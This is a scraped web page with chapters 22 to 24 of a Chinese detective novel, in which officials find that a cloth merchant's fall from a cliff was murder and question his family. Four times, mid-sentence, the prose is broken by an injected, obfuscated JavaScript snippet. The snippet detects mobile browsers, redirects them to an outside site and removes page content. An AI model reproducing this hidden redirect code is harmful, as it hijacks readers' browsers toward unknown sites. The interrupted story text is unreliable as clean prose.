尽头处，正对着巷口的商铺便是朱氏布行，主铺两边各有三间小铺，几乎占据了彩衣巷半条街道。 布行的生意并未因当家人的突然死亡而受到影响，反而被人群挤得水泄不通，楚恬和沈阔完全没机会挤进去。 两人站在门口眼观四路耳听八方，很快就从别人的交谈中得知了今日来买布匹的客人比往日多了几番的原因。 “听说了吗，朱掌柜死了！” “啊？什么时候，怎么死的？” “听说昨日登高时失足掉下山崖给摔死了，啧啧，你是没看见，死得那叫一个惨啊！” “哟，真的假的？这事儿可不兴开玩笑的哦。” “儿豁你嘛，与朱掌柜有生意往来的商家听说他死了，今晨一早便登门要钱去了，但朱家母子一时间拿不出太多现银来，这才低价卖布，不然你以为今日为啥布料大削价？” “咦哟，可惜咯，可惜咯，朱掌柜多好一人啊，怎么说没就没了呢！” “要我说啊，人各有命，所以啊咱可得好生过日子，谁知道哪天突然就没了。” “呸呸呸，少说这些不吉利的话，我可还不能死的嘞。人家死了至少还留下了产业，儿孙们总归是吃穿不愁的，我们要是没了，妻儿都得饿死。” “嗯哼，倒也难说，这布行离了朱掌柜，还真不知能不能继续经营下去。” “哦？此话怎讲？” “哼，你们也许不知道，但我可门儿清着呢。朱掌柜没死的时候，他的两个兄弟就已经虎视眈眈地盯上了布行的生意，这一死还了得？” “我没记错的话朱掌柜的儿子已经二十好几了吧，早就到了能主事儿的年纪了，即便他爹死了也轮不到伯叔插手吧？” “你说那朱大宝啊？呵，那纯粹就是个扶不起的阿斗，指望他成事儿还不如指望一只猪呢！” 霎时间，周围发出哄堂大笑。 “话虽糙了些，但理儿是这么个理儿。” 那人还来劲儿了，开始口不择言道：“你当人人都是咱们大庆朝的太子殿下啊——” 话没说完，便被旁人捂了嘴，“找死呢！这些话能乱说吗！” 那人顿时清醒了几分，自扇了两巴掌后，讪笑道：“失言，失言！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852978|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周围都当作没听到一般，再无人敢附和他。 前来买布的客人一波接着一波，楚恬被人流挤了屋中，还没站稳脚跟，又随着人流被挤了出来。 “小心！”沈阔眼疾手快地将楚恬拉到一旁后，又快速地放开了对方的手腕。 “看来今日是没办法进去问话了。”楚恬泄气道。 沈阔的目光则落在客人臂弯中夹着的布匹上面，平时一尺要卖到一两金的云锦，今日竟连半价都不到就被售出了。 “先回去吧。”沈阔绕到楚恬右边，“柳青应该回去了，先看看仵作的验状上是怎么写的。” 楚恬点了点头。一无所获的二人开始原路返回。 如沈阔所料，等两人回到提刑司的时候，柳青早已在堂中等着了。 “大人请过目。”未等沈阔坐下，柳青便迫不及待地呈上了誊抄来的验状。 “确定无误吗？”沈阔问柳青。 柳青信心满满地回道：“一个字都不带错的。” 展开验状，沈阔看着上面的字有一丝讶然，“有进步啊。” 柳青目光躲闪，心虚地回道：“这不是属下的字，是京兆府的仵作写的。” “我之前常与那仵作一起喝酒，所以交情还不错。”不等沈阔开口询问，柳青便自顾解释道。 “难怪你去之前那般的胸有成竹！”沈阔道。 柳青嘿嘿一笑。 沈阔仔细阅完验状后，又转递给了楚恬，“你再看看。” 楚恬接过去才看了一小会儿，便发出了疑惑：“奇怪......” “哪里奇怪了？”柳青凑过去看了眼楚恬，又看了看验状。 “说来听听。”沈阔亦道。 楚恬指着其中一行字，念道：“死者后脑有贯穿伤，长约一寸，宽三分，深半寸。” “这有何奇怪？”柳青道，“他从那么高的地方摔下去，没有伤才奇怪好吧？” 柳青看着神情愈渐沉重的两人，慢慢变得不自信起来，“难道不是吗？” “有伤不奇怪，奇怪的是这伤的位置。”楚恬解释完又问沈阔，“大人可还记得朱桓死时的姿势？” 沈阔点头，“自然。” 楚恬又道：“从现场来看，朱桓是趴着摔在乱石上的，那他后脑上的伤又是怎么造成的？” 柳青托着下巴开始思考，“会不会是山崖边掉下来的石头正好落在他的头上，砸出了一个窟窿来？” “又是巧合？”楚恬思忖片刻后道，“这桩案子的巧合未免也太多了吧。” 说要他便看向了沈阔，沈阔沉默片刻后道：“看来，我们还得去松山走一趟。” 现场勘察的活都是京兆府的衙差在做，沈阔信不过。 “我跟大人一起去。”楚恬自荐。 “我也——” “你留下来。”沈阔对柳青道，“有一件重要的事情交给你去做。” “什么？”柳青摩拳擦掌。 “尽快查明朱桓一家的关系，以及他在生意上存在哪些纠纷，或是得罪过什么人，都要一一问询清楚。” “是，属下这就去办。” 22. 林中现凶器 从官道转入去往松山的岔路口的那一瞬间，人间好似换了副模样。 云雾缭绕，远峰旖旎，红叶萧萧，层林尽染。 通往松山深处的古道上，两人两马一前一后地奔驰着，铮铮铁蹄声，响彻山谷。 在即将抵达事发地的时候，沈阔先是听到了几声犬吠，接着一条大黄狗便从路旁的矮丛冲到了路中央，对着来人狂吠。 眼看着马蹄就要踏上黄头的脑袋时，沈阔赶紧勒紧了缰绳。身下的坐骑扬蹄长嘶，反倒灭了黄狗的气焰，吓得它缩在路边瑟瑟发抖。 “是静虚道长养的狗。”楚恬随后赶至，“昨日我们来时，这狗还挺温顺的，许是被昨夜的喧嚣惊扰到了。” 沈阔张望着四周，除了清泉观以外，附近山上再无别的屋舍。 “我实是想不通，朱桓孤身一人跑到这里来作甚。”沈阔道，“总不能真是来此登高的？” 此间景色虽好，但却静得有些瘆人，两人至此良久，都不曾听闻一声虫鸣和鸟啼。 “或许是有人邀他来此一会。”楚恬猜测。 “朱桓刻意乔装打扮是为隐藏行踪。”沈阔将目光从远处收回，缓缓落在前方的青色亭瓴上，他顿了片刻才转头看向楚恬，接着说道，“可京城距离此地足有三十里地，你猜他是如何到达这里的？” 经沈阔这么一提醒，楚恬忽然想起来，“我们到这儿之前，是有人来过的。当时地上有明显的车辙印，王辉还在四处寻过，但却没有看到人，想来送朱桓来此的人那时已经离开了。” 沈阔点点头，表示有这个可能。 “走，再去里面看看。”说话间，沈阔已敏捷地跳下了马。 因着马总是在不停的动着，楚恬有些胆怯不敢下马。沈阔回过头，便看见了楚恬试探着伸出脚尖，想跳又不敢跳的窘态。 “手给我。”沈阔走过去一手牵着楚恬的马，另一手则递给了楚恬。 楚恬看着他宽厚的手掌，愣了一瞬才放上去。 楚恬笨拙地抬起左腿，却因全部的力都集中在了右脚上，使得马的身体随之一偏，他也差点儿从马背上摔下来。 好在沈阔出手迅速，丢了手中的缰绳从后揽着他的腰将他抱了下来。 “多谢大人。”楚恬垂着脑袋，恨自己不争气。 “没事。”沈阔也没好意思看他，咳了一声后拾起缰绳将两匹马栓在了路边，接着他便钻进了林中。 他大步流星地走在前面，都穿出林子了才发现楚恬落后他数丈之远，而且从他走路的姿势有些别扭，老道的沈阔一眼便看出他应是被马鞍硌着了。 “你还好吗？”沈阔问他，“要不打个地方休息一会儿。” 楚恬抿着唇点了点头，硬撑着回道：“不用，我没事。” 沈阔拗不过他，便没再多说什么。 仅过去了一夜，巨石上的血迹就已变成了深褐色，尤其是碰着朱桓脸的那一块，黑乎乎的一片，看得人心中一紧。而喷溅在周围石块上的血迹被晨间的雾气晕开，淡淡的颜色中多了一抹浅黄，若不仔细看的话，一时间还真的难以分清是血还是石锈。 楚恬和沈阔俯首屈腰，围着巨石仔仔细细地检查着。 虽未明言，但两人对于要找的东西都心知肚明。 半个时辰后，两人汇合，彼此朝着对方摇了摇头。 “若真是从上面掉下来的石头，即便弹了出去，也应掉在这周围才是。”楚恬道。 沈阔没有说话，只是默默地望着山崖上面。 楚恬走到沈阔身边，也随着他的视线仰望着上方。 “去上面。”沈阔言简意赅。 此崖乃一断崖，从正面是攀不上去的，两人只得原路返回。 这一次，沈阔刻意放慢了步伐。 两人朝清泉观的方向行去，那里正好有一条上山的路。沈阔走在前面，拾起一根树枝顺手拨开了倒在路上的藤蔓。 “路有些滑，小心一点。”沈阔时不时地回头看一眼楚恬。 “嗯，好。”楚恬正拽着两株草奋力地往坎上爬，过程中拉扯到了胸口的伤，疼得他咧起了嘴。 沈阔见状，回走了几步，抓着他的手腕轻而易举地就将他提上了坎。 看着楚恬额上冒出来的密汗，沈阔调侃了他一句，“跟着我一起查案，身体这么弱怎么能行，从明日开始，卯时起床，跟着我一起跑步练操。” 沈阔一脸严肃，楚恬一时无法分清他是认真的还是在跟他开玩笑，只得边擦着额头上的虚汗边尽全力追上沈阔的步伐。 山崖上方，葱郁的青草地被踩出了一条尺宽的小路，一直延伸到山崖边，空旷的泥地上才出现了杂乱无章的脚印。 从尺寸和鞋底花样上看，应是京兆府的差吏留下的。 四五组脚印重重叠叠，完全覆盖了死者的痕迹。 “现场已经被破坏了。”楚恬道，“这里应该查不出有用的线索。” 话虽这样说，但他和沈阔还是在附近搜寻了起来。 “楚恬！”沈阔突然唤了一声。 楚恬循声望去，见沈阔拿着一块石头仔细观察着。 楚恬疾步走到沈阔身边，看清了他手中那块锥形石头，那块石头的形状不仅与朱桓后脑上的伤口高度吻合外，其尖端上还附着有几根毛发，再一细看，上面还沾着点点血迹和头皮碎屑。 “我从草丛中找到的。”沈阔推测道：“朱桓应是先被人用这块石头敲击了后脑，之后又被推下悬崖伪造成了意外身亡。” 楚恬蹲下身继续检查起地上的痕迹，还真让他从一堆脚印下发现了因拖拽而留下来的划痕。 “凶手在这里袭击了朱桓，然后将他拖到崖边推了下去。”楚恬补充。 “可我当时怎么就没看到凶手呢。”楚恬很是懊恼。 “这里地处高位，从下往上看有视线误差。”沈阔扬了下颔，示意楚恬往山崖那边看，“你看那棵矮松，我刚才骑在马背上时也只能看到它的顶端，而且事发突然，推人又只需短短一瞬，你的注意力全被即将掉下山崖的朱桓给吸引了，没看见凶手也正常。” 楚恬点了点头，算是肯定了沈阔的这个说法。 沈阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852979|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又道：“凶手杀人后必然会在第一时间离开凶案现场，可你们还在下面，即便他亲眼瞧见你们进入了树林，也断然不敢冒险从这条路下山，毕竟还要从清泉观外路过，很容易被静虚道长看见。——这里应该还有一条通往山下的小路。” 两人环顾四周，入目皆是茂密的树林和半身高的藤蔓丛，想要找到小路怕是得颇费一番功夫。 “我们可以去问问静虚道长。”楚恬提议道，“他对这里应该很熟悉。” 沈阔点头同意。 清泉观门外，两人再次遇见了那条大黄狗，沈阔下意识地伸手将楚恬护在身后，可趴在地上的大黄却只是懒懒地看了两人一眼，又继续啃起了怀里朽木。 “昨日死的人是朱桓？”静虚惊道，“就是那个朱氏布行的朱掌柜？” 末了，他又懊恼地拍了拍额头，叹息道：“我早该料到的，你说我怎么就没有认出他来呢！” “道长认识朱桓？”楚恬和沈阔几乎同时开口。 静虚点了点头，“不只认识，他还是贫道这清泉观的供养人。否则只凭寥寥香客，这观早就倒在风雨中了。” 事情还要从三十多年前说起，彼时二十出头的朱桓带着家中仅存的积蓄到京城做生意，不曾想路遇劫匪，钱财遭洗劫空了不说，还差点儿搭上了性命，他躺在路边奄奄一息的时候，是云游四方的静虚救了他性命。 两人就此结下良缘，多年后，挣得第一桶金的朱桓为表感恩之情，欲在玉隐峰旁边的玉锣山上建一座与慈安寺齐名的道观，但静虚不喜尘世喧嚣，最终选定在了松山落脚。 “朱施主生意繁忙，这些年里，除了每年的七月十九外，他并不常来观中，因此贫道对他并不了解。”静虚声音苍老但双目却是炯炯有神，他手执拂尘望着远山将悠悠往事娓声道来。 “七月十九，是什么特别的日子吗？”楚恬询问道。 “当年，贫道就是在这天救下朱施主的。”静虚解释道。 楚恬和沈阔对视了一眼，继续听静虚讲着他和朱桓的往事。 “但今年却是奇怪。”静虚话锋一转，两人瞬间凝神。 “怎么个奇怪法？”沈阔问。 “七月十九那日，贫道与往年一样备好了饭菜和棋具，但一直等到晚上朱施主也没有按时赴约，但贫道只当他家中有事抽不开身便也未作多想，毕竟第二天他就来了。” “之后一直到八月末，朱施主又来了三次。” “其实早在他第一次来的时候，贫道便已察觉到他的异常了。”静虚道，“那天他到的时候，浑身都是酒气，还没来得及进来就倒在观门外，要不是大黄发现他后一直狂吠，贫道还不知道他来了。” “他在贫道这儿睡了一整日，却又不肯告诉贫道究竟发生了何事。” “之后的三次，他仍是一句也没有透漏吗？”沈阔追问。 静虚摇了摇头，“他不愿说，贫道便也不多问。这几次，他都破天荒的于观中留宿了一晚，贫道偶尔会听他叹息说什么识人不清，一生诚恳待人，最后却落得个众叛亲离的下场之类的话。” 23. 孙府尹刚愎自信 楚恬和沈阔回城后，先去了趟京兆府。 孙士诚并不在府衙内，是长史荣坚接待的两人。 “孙大人走了有一会儿了。”荣坚道，“他去朱家向死者家属通报最终案情结果，应该耽误不了多久，沈大人要是不急的话，可在此间稍等一会儿。” “孙大人真是雷厉风行啊。”沈阔轻笑一声，“从事发到现在一天时间都不到，他就已经结案了。” 荣坚虽听出了沈阔话中藏着的轻蔑之意，于是道：“此案并不复杂，前后因果逻辑也清晰明了，朱桓之死就是一个意外。” “莫非沈大人对此案有别的看法？”荣坚抻着脑袋靠近沈阔，“还是大人已经查到了其它线索？” 沈阔没有回答荣坚的话，他伸手指了指前方，“先带我去见见仵作。” 荣坚一脸茫然，其虽知沈阔与自家大人一向不和，可碍于对方的身份，他只得依言照办。 “话说回来，既然只是一桩普通的坠亡案，通报办案结果这等小事不是只需派个差吏过去知会一声就行了么，何需孙大人亲自跑这么一趟？”沈阔又问荣坚。 “孙大人他向来如此，凡事都喜欢亲力亲为。”荣坚沉默了一瞬，但他很快就寻着了合适的说辞为孙士诚异于寻常的行为作了辩解。 尽管他极力掩饰，但两人还是从他的变换的神情中察觉到了一丝端倪。 “京兆府领长京、万安、咸丰等共十九县，竟还有闲情去处置这些小事，本官该说孙大人这是不够忙呢，还是该说他治理有方？” 荣坚闻言一怔，豆大的虚汗顺着他的发际线没入了颈间，这一次，他回答得有些结结巴巴，“百姓之事无小事，孙大人任京兆尹的这几年，可谓是夙兴夜寐，即便没有功劳也是有苦劳的啊。” “好一个‘百姓之事无小事’！”沈阔反被荣坚驳得哑口无言，“改日进宫，本官必会在太子殿下为孙大人的劳苦美言几句。” “这......”荣坚有些进退两难，“孙大人所行皆为分内之事，倒也没那个必要劳烦沈大人为他邀功了。” “话可不能这样说。”沈阔道，“像孙大人这种勤政爱民的父母官，就该受到褒奖，若不然，岂不是寒了百姓的心？” 荣坚怕越说越错，索性不再多言，只得一边擦着额上的冷汗，一边讪笑着应是。 步至殓房门外，仵作正在为死者遗容作最后的整理，听得荣坚叫了一声自己的名字后，他当即放下手中的活，迎出了门去。 “长史！沈大人！”何萍向两人行了叉手礼。 沈阔也不赘言，直接让楚恬拿出了他们寻到的那块锥形石让何萍去作比对。 楚恬从进门时便将双手拢在袖中，因而荣坚才没瞧见他的袖子里还藏着一件东西。听沈阔这么一说，他才将视线落在了楚恬身上。 锥形石被楚恬用手巾小心又仔细地包裹着，他解开巾结，双手呈给了何萍。 何萍看了眼石头后明显一愣，接着又看向了沈阔。 “这是我们在死者坠亡附近找到的。”沈阔道，“你且先比对一下，看是否与朱桓后脑上的伤口相符。” “是！”何萍疾步折回殓房，外面的三人也随后跟了进去。 “大人，此石形状的确与死者后脑上的伤口相吻合。”须臾后，何萍禀道。 得此确切答案后，沈阔和楚恬第一时间对视了一眼，这也意味着两人的推理方向是对的。 朱桓确是死于他杀，而非意外。 “某有一惑，还请何仵作代为解答。”楚恬忽然上前对何萍道。 何萍打量了楚恬一番，难得遇见像他这般彬彬有礼的公子，因而在回话时也不禁添了缕温意，“公子请讲。” 楚恬问：“不知能否验出死者所受之伤的先后顺序，或者哪一处为致命伤？” 何萍默了一瞬，他理解到了楚恬所要表达的意思，他转身重新掀开了死者身上的白布，虽然昨日已然见过死者的惨状，但这猝不及防的一眼，还是让三人为之一惊，不约而同地别开了头。 何萍将死者翻了一面，随即指着死者头部的伤口对三人道：“死者全身骨折多达百处，究其哪处为致命伤没有太大的意义，但是——” 何萍指着死者后脑的伤口，继续道：“此处的伤口出现了轻微的凝血状，因此可以断定此伤形成于死者坠亡之前，不过前后应该不会超过两个时辰。而且这处伤口直接贯穿了他的头骨，伤到了脑髓，所以即便他没有摔下悬崖，也没有活下来的希望。” “我明白了，多谢何仵作。”楚恬向何萍回了一礼。 “不错，连个这点都想到了。”从殓房出来，沈阔落在楚恬身上的视线就没有挪开过。 得了夸赞的楚恬却并未感到开心，他停下脚步看向沈阔，严肃道：“大人，我们既已知晓朱桓之死非是意外便不能坐视不理，可此案现在孙大人手中，您想好要如何说服他重审此案了吗？” 沈阔沉默了，孙士诚的脾性他再了解不过，对方定然不会轻易相信他们的推断，更别说这还要推翻他的定论了。 两人默默地朝着府门口行去，而荣坚则悄无声息地跟在两人身后，他在心中不停的念叨着：完了完了，府尹这是断错案了啊，这可如何是好...... 不觉间，他与二人慢慢拉开了距离。 而楚恬和沈阔恰与孙士诚在府门口撞了个正着，后者阴沉着脸质问两人为何出现在他的京兆府，正如沈阔所料，当他道出新的推论后，只得了孙士诚一声嗤之以鼻的哼笑。 “就这？没别的证据了？”孙士诚抖了抖官袍的袖子露出双手交叉在身前，不耐烦地回道，“本官已经将此案查得清清楚楚，朱桓他生前便患上了阴郁之症，且多次流露出想要轻生的念头，这一次他前往松山摆明了就是奔着死去的。” “松山位于西边，另有西山之名，西山近西天，他选择于此地了结残生，正是为了能够早登极乐。”孙士诚扬起下巴，颇为得意地诡辩道。 沈阔差点儿被气笑了，他心知与孙士诚是说不通，便强忍下了怒意，打算直接去找太子将此案要过来。 看着沈阔和他那暖脚婢灰溜溜地离开了自己的地盘，孙士诚愈发得意了起来。 知晓内情的荣坚亲眼看见孙士诚将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852980|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈阔气走以后，心底更加地焦灼不安，他顶着被痛骂的压力近前好言相劝道：“大人，下官觉得沈大人所言有一定的道理，而且下官刚才亲耳听到仵作说朱桓的确被敲打在先——” “你这么信他，那你去提刑司当差好了。”孙士诚怒目圆睁，此刻的他完全听不进任何的劝告，见自己手底下的人都将胳膊肘子往外拐，他更是气不打一处来，他上下打量了荣坚一番，不屑道，“不过还得看人家要不要你了。” 荣坚好心为孙士诚着想，不曾想反倒碰了一鼻子灰，他脸上虽是挂着讨好的笑，可心中却道：懒球得管了，爱怎样怎样吧！ 从京兆府出来，楚恬径自回了提刑司，而沈阔则直接进了宫。 但这一次，他未能如愿见到太子。 “皇后娘娘凤体欠佳，殿下一早便去了鸿禧宫问安，大人若无紧要之事的话，还请明日再过来。”祁越近侍小喜子道。 沈阔点了点头，临走之际，他又请小喜子代为传话，“我今日来得急，未曾沐浴换衣，唯恐一身的污淖之气惊扰了皇后娘娘，便不去向娘娘请安了，还请公公代为问安。” “奴婢一定将大人的问候带到。”小喜子回道。 待沈阔回到提刑司时，正巧柳青也回来了。 柳青每次从外面回来都跟个渴死鬼似的抱着水壶哐哐灌水，“打听到了，朱桓在家中排行老二，不受宠还极易被父母忽视，这也是他年纪轻轻就背井离乡前来京城创业的重要原因，就是想打拼出一番事业后得到家人的肯定。他的布行生意刚有起色之时，便将家人全部接了过来，并在父母的强烈要求下，将生意分给了大哥和三弟。” “只是他这两个兄弟压根儿就不是做生意的料，不到一年就亏得血本无归不说，还欠下了一屁股的债，最后两人无奈退出了经营，在朱桓的庇荫下做了个闲散掌柜，每月拿着不少的红利。可即便如此，他的父母依旧对朱桓咄咄相逼，两兄弟也是仗着父母的偏爱吸足了朱桓的血。” “近两年，朱桓的身体愈发不好，许是怕他突然间撒手人寰，他父母便逼着他立下遗书将全部家产赠与两个儿子，但朱桓还有妻儿在世，他自是不愿，为此还大吵了一架。” “至于仇人的话，属下问遍了与他来往甚密的商户，还真没问出来。”柳青的胸口湿了一大片，却仍抱着水壶不撒手，“他们都对朱桓的为人赞不绝口，也正是看在朱桓的面子上，才没有上门为难那对孤儿寡母。” “他们没向朱大宝母子催债？”楚恬和沈阔几乎同一时间捕捉到了这个信息，不过沈阔先楚恬一步开口。 柳青摇了摇头，“他们说是没有。而且他们也不担心这个，毕竟跑得了和尚跑不了庙，朱家那么多铺面摆在那儿呢，要真撕破了脸皮，他们完全可以联合起来状告朱家，并以布匹或者铺面抵债。” “而且说来也是奇怪。”柳青继续道，“据那些商贾所说，朱桓好像早就预料到自己快要死了似的，事先便将几间铺子的地契抵押给了欠款未结清的商户。” “可属下又去问了常给朱桓诊治的大夫，他说朱桓虽是劳累成疾，但离死还早得很！” 24. 存私心互泼脏水 “都说妾身命好，嫁了个腰缠万贯的富郎，可保妾身一生锦衣玉食、荣华富贵。可他们又怎会知道，一切都只是表面风光罢了。” 待沈阔和楚恬亲眼见着了朱桓的遗孀，他们似乎才明白孙士诚突然变得勤政的原因。 谁能想到，朱桓的续弦竟是一个未满二十四岁的美娇娘。 不仅仅是孙士诚，朱桓的尸体还没有带回来，朱家阖府上下只悬挂了白帐和白色的灯笼，堂中还未设有灵堂，但来此吊唁的人一却是一波接着一波，尤以中年男子居多。 金香玉虽身着丧服，但丝绸面料和裁剪合身的白衣穿在她的身上，将她的身姿衬得娉婷袅娜不说，她用桃粉色稍加修饰的面妆，使得她看起来并不显憔悴和悲伤。 “上有嫌弃妾身出身的婆母和公爹，只因妾身曾为生计所困在青楼卖过艺，他们便觉得夫君娶妾身入门让整个朱家蒙羞，所以屡次趁夫君外出之时前来寻妾身的麻烦。女子嫁人不就是图个依靠么，可夫君他是人尽皆知的孝子，无论公婆如何苛待于妾身，他都不曾为妾身说过半句话，妾身也只能咬碎了牙往肚子里咽。下又有顽劣不堪的继子，常常当着众人的面给妾身难堪，妾身自嫁入朱家的这两年里，可谓是备受折辱。” 金香玉头上顶着白色的孝披，她侧身坐在沈阔的下方，时不时地捏着手绢轻轻擦拭着眼角。 楚恬几次从她面前绕过，却见手绢从始至终都未沾上半滴眼泪，也不知她眼尾的桃红是擦出来的，还是之前抹的胭脂。 “你可知朱桓与清泉观静虚道长之间的交情？”沈阔问她。 金香玉还没有倒完心底的苦水，正酝酿着更深层次的情绪时，却听得沈阔没来由地发出此问，她擦泪的手蓦地一顿，“妾身听夫君提起过一次，但妾身却从未见过那位道长。” “那你可知自上个月以来，朱桓频繁地去到清泉观，并且在那里留宿。”沈阔又问。 金香玉摇头道：“布行的生意忙，夫君不回来是常有的事。” “听说他最近心情不太好，你知道原因吗？” 金香玉慢慢垂下头，她不停地绞着手绢，作欲言又止之状。 “朱夫人，知情不报的话，本官可按大庆律例治你妨碍公务之罪。”沈阔提醒她道。 金香玉黛眉紧蹙，犹豫半晌后才下定了勇敢道出实情的决心，“还不是因为他那两个兄弟一直在公婆面前嚷嚷着要分家产，夫君这人什么都好，就是有些愚孝，只是要公婆说的话哪怕一分理都不占他还是会听从，这次也是一样，他都决定分出去一半的家产了，可大伯哥和小叔竟得寸进尺地想要瓜分布行，为此事他们争吵了数月，甚至一度动起了手。” “他们打过朱桓？” 金香玉叹息了一声，翘起食指指着额头道：“给夫君的太阳穴戳了个窟窿，血流如注，好在及时请了大夫过来，否则那一次夫君就得命丧于他们手中。即便如此，夫君依然没有妥协，毕竟这布行是他一手操持起来的，妾身那两个伯叔的能力大家都有目共睹，若真将布行分给了他们，只怕不出一年就得关门，夫君自然不愿将自己半生心血拱手送人，所以才一直与公婆僵持着。” 沈阔被金香玉嗡嗡地低啜声扰得太阳穴一阵一阵地抽疼，便趁喝茶的档口朝楚恬递了个眼色。 楚恬会意地点了下头，代替沈阔继续问起了话。 “朱夫人，前日朱掌柜去松山一事，有哪些人知晓？” “妾身不知，并且夫君也未将他打算去松山一事告知妾身。”金香玉的眼眶里总算腾起了一丝薄雾，她泪眼婆娑地望着楚恬。 “那前日你又去了何处？”楚恬追问。 “大人此话何意？”金香玉先后看向楚恬和沈阔，似是后知后觉地反应过来，他们二人将她当作了疑犯在审问，“我家夫君不是意外坠亡的吗？孙府尹上午来时，妾身亲耳听到他说案子已经了结，明日便可将夫君的遗体领回来安葬了。” “难道，难道我夫君的死不是，不是意外？”金香玉惊得捂住了嘴。 “现下不便透露具体情况，朱夫人只需如实回答问题即可。”沈阔适时开口。 沈阔虽未明言，但她又不傻，这个回答摆明了就是默认，突然间，她的泪珠就跟决堤似的不断从眼眶中滚落下来。 金香玉啜泣了许久才平复下来，她吸了吸鼻子，回道：“早在前几日，妾身便与夫君说好打算于重阳节那天去慈安寺祈福，我一直邀他同去来着，他却非是不肯，说布行新进了一批上等云锦，他不放心，必得亲自去盯着。” 说着说着，金香玉又哭泣起来，她不住地自责道：“要是妾身执意拖着夫君同去就好了，或许他就不会遭人毒手了。” “夫人节哀。”金香玉哭得梨花带雨，楚恬不免也为她的悲伤情绪所感染。 金香玉拭着眼角的泪痕，突然问了两人一句，“我夫君的死会不会与大伯和三叔有关？” 接着她透露了一个关键线索，“前日他们两个也不在家中，约摸着酉时过两刻的时候，妾身在院中与刚从外面回来的两人撞了个正着，当时还问他们去了何处游玩来着，可他们二人含糊了一阵也没说出个所以然来。” 酉时过两刻，抛却回来路上耽搁的时间，恰巧与朱桓坠亡的时间相符。 楚恬和沈阔相视一眼，朝彼此微微颔首确认了这个线索。 “那朱文聪呢？”楚恬接着问道，“他前日又去了何处？” “大宝他——” “前日我也去了慈安寺。”突然闯进来的朱文聪打断了金香玉的话，并且不问自辩道，“父亲身体不好，我前去为他祈福，盼他病症早消，长命百岁。” 楚恬和沈阔在看到朱文聪后皆是一愣，只因两人都觉得他有些眼熟。 “你不是昨日那个——”楚恬很快想了起来。 “昨日？”朱文聪却一脸茫然地盯着二人。 “认错人了。”沈阔轻知一声，转而又对楚恬道，“只是容貌有几分相像而已。” 楚恬又仔细打量了朱文聪一番，确实是他认错了人，不过他们两个的容貌竟有八分像，也实属罕见。 “抱歉！”楚恬清了清嗓子，又继续问道，“你们是一起去的慈安寺？” 朱文聪眸色微黯，金香玉怔了一瞬后，抢着答道：“妾身与大宝是在玉隐峰山脚下偶然碰到的。” “是么？”沈阔探究的目光在二人之间逡巡。 “骗你们作甚！”朱文聪丝毫不畏惧沈阔的身份，他背手昂头睨视着沈阔，“你们要是不信，去找随行的仆人一问便知。” “本官自然是要去问的。”沈阔自然地迎上朱文聪带有挑衅的目光，两人暗自较了会儿劲后，最终还是朱文聪先败下阵来。 “大宝休得无礼。”见两人之间气氛紧张，金香玉起身站到朱文聪面前，同时打着圆场道，“两位官爷是为你父亲坠亡一事而来，他们怀疑夫君是被人谋杀的，你要是知道些什么就赶紧如实告知两位大人，免得耽误了官爷办案。” “哼，我早说父亲死得太突然了，其中必有蹊跷，你们偏不信。”朱文聪骂道，“还有那尸位素餐的府尹大人，我父亲尸骨未寒，他竟然就开始打起了你的主意，也不怕我父亲九泉之下知道后去找他讨说法。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852981|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你胡说些什么呢！”金香玉斥道，“人家孙大人是来说正事儿的，你怎会生出如此龌龊的想法？” “我龌龊？”朱文聪不可置信地指着自己鼻子反问金香玉，“都是男人，我还能不知道他心里是怎么想的？” “若不是阿川告诉我，我还不知只一天的时间，我家的门槛都快被那些别有用心的人给踩烂了。不过我猜这也正好如了你的愿罢，那些人虽比不得我家有钱，但嫁过去好歹也是吃穿不愁，要是运气好真嫁给了孙士诚作小妾，好歹也算是踏入官家了。” 朱文聪越说越来劲，专门照着金香玉的痛处戳，金香玉则一反刚才应对沈阔和楚恬二人盘问时的游刃有余，竟委屈得啪嗒啪嗒落起了泪。 沈阔也未打断两人的争执，他和楚恬乐得看场好戏。 